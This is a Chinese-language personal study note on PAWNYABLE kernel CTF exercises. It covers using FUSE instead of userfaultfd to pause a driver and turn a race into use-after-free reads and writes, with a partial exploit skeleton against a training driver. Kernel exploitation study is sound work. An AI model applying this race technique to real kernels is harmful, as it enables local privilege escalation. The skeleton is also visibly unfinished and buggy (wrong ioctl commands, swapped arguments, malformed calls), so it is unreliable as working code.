PAWNYABLE kernel FUSE 笔记
/ 8 min read
Table of Contents
userfaultfd 可以在驱动读写数据的时候,触发中断,切换到用户空间。此时可以将数据释放,释放的内存被其他结构体占有,然后就能进行 uaf_read 或者 uaf_write,。
自 Linux kernel 5.11 版本起,非特权用户被禁止使用 userfaultfd 系统调用,但是我们仍能通过 FUSE 达成同样的效果(在用户空间实现文件系统的机制,本身不是一个文件系统)。
fuse 的使用
基本情况
fuse 的文件系统包括 CephFS、GlusterFS、ZFS、sshfs、mailfs。访问 FUSE 的文件系统,可以使用和内核文件系统相同的接口。
实现主要由三个部分组成
内核模块(fuse.ko) 这个内核模块不会处理实际的文件系统调用,而是将其进行封装为特定格式的fuse请求后发送给用户空间进程,等待用户空间进程处理完成并返回,接收处理返回结果转换为内核文件系统格式后再传递给 VFS。
用户空间库(libfuse.*)
挂载工具(fusermount) 实现普通用户对文件系统挂载和卸载。
一次系统调用的过程需要频繁在 userspace 和 kernel 间交换…效率堪忧。
libfuse 使用
可以参考 FUSE - OSDev Wiki 这个介绍,需要实现一些 hook 来操作 FUSE。
[!question] 什么时候使用 fuse_main
有两种操作,一种是 fuse_main 可以快速启动一个文件系统,自动调用事件循环,处理挂载、信号处理等。
int main(int argc, char *argv[]) { return fuse_main(argc, argv, &fops, NULL);}另一种是具体使用 fuse_mount 、 fuse_new 和 fuse_loop_mt 提供了更大的灵活性,允许更精细地控制文件系统的行为。这种方式适用于需要更多定制的情况,特别是当需要进行多线程处理或其他复杂的配置时。
int main(int argc, char *argv[]) { struct fuse_args args = FUSE_ARGS_INIT(argc, argv); struct fuse_chan *chan; struct fuse *fuse;
// 创建并挂载文件系统 chan = fuse_mount("/tmp/test", &args); if (!chan) fatal("fuse_mount");
// 创建 FUSE 会话 fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL); if (!fuse) fatal("fuse_new");
// 启动 FUSE 事件循环(多线程模式) fuse_loop_mt(fuse);
// 卸载文件系统 fuse_unmount("/tmp/test", chan); return 0;}如何用 FUSE 来实现稳定 race
可以参考 【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog 的介绍,很仔细哇。
简单说就是在内核模块读写数据的时候触发中断,此时把数据释放,就可以读写到新分配的其他数据结构的内容了。
不过 fuse 不能像 userfaultfd 一样,申请了 0x3000 的空间,每个页面第一次页面都可以触发中断,而是一旦访问一个页面,所有的 0x3000 都不会再次中断了。所以可以通过重复 open mmap 来解决这个问题。
exp 的思路
基本框架
基本的框架是这个样子,用 fuse_new 绑定上定义的 fuse callback,在新的线程里面初始化 fuse 加不会被 fuse_loop_mt 给阻塞。无论是读还是写页面都会到达 read_callback。
#define _GNU_SOURCE#include <fuse.h>#include <inttypes.h>#include <sched.h>#include <sys/mman.h>#include <errno.h>
#define CMD_ADD 0xf1ec0001#define CMD_DEL 0xf1ec0002#define CMD_GET 0xf1ec0003#define CMD_SET 0xf1ec0004#define PAGE_SIZE 0x1000#define BUF_SIZE 0x400
uint64_t user_cs, user_ss, user_rflags, user_sp;cpu_set_t cpuset;int setup_done = 0;int fd;
typedef struct { int id; uint64_t size; char *data;} request_t;
int add(uint64_t size, char *data) { request_t add_req = {.id = 0, .size = size, .data = data}; return ioctl(fd, CMD_ADD, &add_req);}
void del(int id) { request_t del_req = {.id = id}; ioctl(fd, CMD_DEL, &del_req);}
void get(int id, uint64_t size, char *data) { request_t get_req = {.id = id, .size = size, .data = data}; return ioctl(fd, CMD_ADD, &get_req);}
void set(int id, uint64_t size, char *data) { request_t set_req = {.id = id, .size = size, .data = data}; return ioctl(fd, CMD_ADD, &set_req);}
int fuse_fd = -1;
void save_status() { asm("movq %%cs, %0\n\t" "movq %%ss, %1\n\t" "movq %%rsp, %3\n\t" "pushfq\n\t" "popq %2\n\t" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
char *mmap_fuse_file() { // close old file if (fuse_fd != -1) { close(fuse_fd); }
// mmap pages if ((fuse_fd = open("/tmp/fuse", O_RDWR)) == -1) { perror("open fuse file"); } char *page = mmap(0, PAGE_SIZE * 5, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd, 0); if (page == MAP_FAILED) { perror("mmap fuse file"); } return page;}
static int getattr_callback(const char *path, struct stat *stbuf) { memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/pwn") == 0) { stbuf->st_mode = S_IFREG | 0777; stbuf->st_nlink = 1; stbuf->st_size = 0x1000; return 0; }
return -ENOENT;}
static int open_callback(const char *path, struct fuse_file_info *fi) { puts("[+] open_callback"); return 0;}
static int read_callback(const char *path, char *file_buf, size_t size, off_t offset, struct fuse_file_info *fi) { static int fault_cnt = 0; printf("[+] read callback triggered");
if (strcmp("/tmp/fuse") == 0) { switch (fault_cnt) { case 0:
break;
default: break; } }}
static struct fuse_operations fops = { .getattr = getattr_callback, .open = open_callback, .read = read_callback,};
void *setup_fuse(void *arg) { struct fuse_args args = FUSE_ARGS_INIT(0, NULL); struct fuse_chan *chan; // short for communication channel struct fuse *fuse;
mkdir("/tmp/test", 0777); chan = fuse_mount("/tmp/fuse", &args); fuse = fuse_new(chan, &args, &fops);
if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset)) fatal("sched_setaffinity");
fuse_set_signal_handlers(fuse_get_session(fuse)); setup_done = 1; fuse_loop_mt(fuse);
fuse_unmount("/tmp/test"); return NULL;}
int main() {
save_status();
// setup cpu affinity CPU_ZERO(&cpuset); CPU_SET(0, &cpuset); if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset)) fatal("sched_setaffinity");
// setup fuse pthread_t th; pthread_create(&th, NULL, setup_fuse, NULL); while (!setup_done) ; // 确保 fuse 已经启动
// open device fd = open("/dev/fleckvieh", O_RDWR); char *buf = mmalloc(BUF_SIZE);
// uaf read char *page = mmap_fuse_file(); int uaf_read_id = add(buf, 0x400); get(uaf_read_id, BUF_SIZE, page);
// uaf write char *page = mmap_fuse_file(); int uaf_write_id = add(buf, 0x400); set(uaf_read_id, BUF_SIZE, page);}[!question] 为什么要用 pthread_create 来启动 fuse 函数 fuse_loop_mt 是一个阻塞操作,只有放在其他线程,才能做其他操作
[!question] 为什么在 fuse 和 main 函数都要设置 sched_setaffinity 要让两个线程在同一个 cpu 上面运行,这样的话都属于同一个 cpu 资源才能按照顺序竞争?
[!question] uaf read 写入mmap页面为什么也是触发 read_callback 读取或写入该区域时会出现页面错误,最终会调用
read。
[!question] libfuse 的接口版本好像有点问题 libfuse 的 version 2 和 version 3 的版本不同可能,可以在一开始指定 fuse 的版本,比如
#define FUSE_USE_VERSION 29
[!question] FUSE operation not permitted
fusermount: mount failed: Operation not permitted
fuse_mount: Operation not permitted
可能是静态编译的时候出现问题了:>常规的 libfuse 库并不支持静态编译,这使得我们无法像以往一样先静态编译一个 exp 再传到远程,但万幸的是 libfuse 库是开源的**,安全研究员 BitsByWill 和 D3v17 将其进行了一些裁剪(裁剪掉了 dlopen 等,但还是很大…),做了一个可以供静态编译的 [libfuse3.a](https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/libfuse3.a) 及相关的头文件等(参见[这里](https://github.com/Crusaders-of-Rust/CVE-2022-0185))所以,编译命令就变成了:gcc exp.c -I ./libfuse libfuse3.a -o exp -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
不过这个命令好像会导致 segmentation fault...还得找到匹配的 fuse version 2.9 的版本
参考
【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog